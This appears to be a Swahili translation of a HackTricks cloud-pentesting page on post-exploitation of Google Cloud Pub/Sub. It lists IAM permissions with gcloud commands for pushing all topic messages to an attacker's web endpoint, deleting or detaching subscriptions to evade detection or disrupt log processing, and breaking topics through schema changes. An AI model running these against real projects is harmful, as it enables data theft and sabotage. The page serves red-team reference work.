GCP - Pub/Sub Post Exploitation

Jifunze uchimbaji wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!

• Pata bidhaa rasmi za PEASS & HackTricks

• Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee

• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu zako za uchimbaji kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Pub/Sub

Kwa habari zaidi kuhusu Pub/Sub angalia ukurasa ufuatao:

pageGCP - Pub/Sub Enum

pubsub.topics.publish

Tuma ujumbe kwenye mada, inayoweza kutumika kwa kutuma data isiyotarajiwa na kuzindua utendaji usiotarajiwa au kutumia mapungufu:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Inatumika kuzuia usajili usipokee ujumbe, labda kuepuka kugunduliwa.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Inatumika kuzuia usajili kupokea ujumbe, labda kuepuka kugunduliwa. Inawezekana kufuta mada hata ikiwa kuna usajili uliounganishwa nayo.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Tumia ruhusa hii kuboresha mipangilio fulani ya mada ili kuvuruga, kama vile --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Jipatie ruhusa ya kufanya mashambulizi yoyote ya awali.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Pata ujumbe wote kwenye seva ya wavuti:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Unda usajili na utumie kuvuta ujumbe:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Futa usajili inaweza kuwa na manufaa kuvuruga mfumo wa usindikaji wa log au kitu kama hicho:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Tumia ruhusa hii kuboresha mipangilio ili ujumbe uwekwe mahali unaweza kufikia (URL, meza ya Big Query, Bucket) au tu kuvuruga.

pubsub.subscriptions.setIamPolicy

Jipatie ruhusa zinazohitajika kutekeleza mashambulizi yoyote yaliyotajwa hapo awali.

pubsub.schemas.delete

Futa schema ili uweze kutuma ujumbe ambao haukutani na schema:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Shambulia schema kwa mada ili ujumbe usiikidhi na hivyo mada ikose kufanya kazi. Ikiwa hakuna mifano, unaweza kuunda moja.

schema.json

{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}

```bash # Attach new schema gcloud pubsub topics update projects//topics/ \ --schema=projects//schemas/ \ --message-encoding=json ``` ### `pubsub.schemas.setIamPolicy`

Jipatie ruhusa zinazohitajika kutekeleza mashambulizi yoyote yaliyotajwa hapo awali.

pubsub.snapshots.create, pubsub.snapshots.seek

Hii itaunda picha ya ujumbe wote usiothibitishwa na kuwarudisha kwenye usajili. Sio ya maana sana kwa mshambuliaji lakini hapa ipo:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME

Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya HackTricks AWS)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!

• Pata bidhaa rasmi za PEASS & HackTricks

• Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee

• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.